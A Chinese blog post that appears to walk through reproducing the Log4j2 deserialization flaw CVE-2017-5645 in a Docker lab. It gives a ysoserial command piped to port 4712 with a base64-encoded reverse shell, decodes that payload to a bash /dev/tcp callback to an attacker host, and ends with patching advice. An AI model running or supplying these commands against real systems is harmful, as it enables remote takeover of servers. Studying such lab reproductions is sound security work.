当前位置: 首页 > news >正文

CVE-2017-5645(使用 docker 搭建)

介绍:

是一个与 Apache Log4j2 相关的安全漏洞,属于远程代码执行,它可能允许攻击者通过构造恶意的日志信息 在目标系统上执行任意代码

Log4j2 介绍

Log4j2 是 Apache 的一个日志记录工具,属于 Java 应用的日志框架,它是 Log4j 的升级版,性能更好,功能更多.它被广泛的适用于 Java 应用程序中,帮助开发者记录程序运行的时候的日子信息,是 Java 生态系统中最重要的一个日志框架之一

  • 漏洞编号: CVE-2017-5645
  • 漏洞类型:远程代码执行(RCE)
  • 收影响组件:Apache log4j
  • 漏洞触发原理:
    • Log4j2 支持通过 SocketAppender 或者 SocketHubAppender 接受远程日志信息
    • 在处理这些日志信息的时候 Log4j2 会对信息进行反序列化操作
    • 由于未对反序列化数据进行检查,攻击者可以构造恶意的序列化对象,嵌入恶意代码
    • 当系统中处理这些恶意日志消息的时候,会触发反序列漏洞,从而导致任意代码执行
  • 漏洞利用:

    • 环境起来以后将会在 4712 端口开一个 tcp 服务,使用ysoserial生成 payload 发送到 4712 端口即可!

ysoserial 介绍

ysoserial 是一个用于生成 Java 反序列化漏洞利用代码的开源工具

 工具地址:
https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

    • 直接利用 4712 端口的 TCP 服务反弹 shell 即可
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.100.102 4712

详细介绍

使用base64解码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyLjgvMTIzNCAwPiYx

结果为:bash -i >& /dev/tcp/192.168.12.8/1234 0>&1

bash -i 是一个启动交互式的 bashh shell

>& /dev/tcp/..... 将 shell 的输入/输出重定向到 Tcp 套接字

0>&1 将标准输入(文件描述 0)和标准输出(文件描述 1)合并,并且实现双向通信

这里可以看到,反弹shell 直接拿下!

  • 修复建议:
    • 升级到安全版本,升级到 log4j 2.8.2 或者更高的版本
    • 禁用反序列化功能
      • 如果无法立即升级,可以通过配置 log4j 的反序列化功能
    • 限制网络访问
    • 监控日志分析

总结:

要理解原理,理解原理之后再去复现就会有更加深入的理解!

http://www.dtcms.com/a/73301.html

相关文章:

  • Java面试:集合框架体系
  • 【web逆向】优某愿 字体混淆
  • 提升fcp
  • 八、Prometheus 静态配置(Static Configuration)
  • 仿“东方甄选”直播商城小程序运营平台
  • Git的基本指令
  • 使用爬虫获取自定义API操作API接口
  • 通信协议传输过程中的序列化和反序列化机制
  • 【记】如何理解kotlin中的委托属性?
  • Python的基本知识
  • MySQL学习笔记
  • LSTA: Long Short-Term Attention for Egocentric Action Recognition
  • 【人工智能】【Python】在Scikit-Learn中使用决策树算法(ID3和CART)
  • manim安装
  • 不同路径——1
  • LeetCodeHot100_0x07
  • 2025高频面试算法总结篇【递归回溯动态规划】
  • LabVIEW 线性拟合
  • Python核心语法-数据基本运算(一)
  • 笔记:代码随想录算法训练营day46:LeetCode647. 回文子串\516.最长回文子序列
  • JVM---Java 类生命周期与类加载机制
  • 高版本node(17+)环境下VUE2项目启动报错
  • 失败的面试经历(ʘ̥∧ʘ̥)
  • 从过拟合到强化学习:机器学习核心知识全解析
  • 关于playwright的data-testid
  • 深入探索Android Bitmap:从原理到实战
  • 【人工智能基础2】人工神经网络、卷积神经网络基础、循环神经网络、长短时记忆网络
  • 【排序】快速排序
  • Python —— random.choice()的用法
  • 数学——A. K-divisible Sum + D. Exam in MAC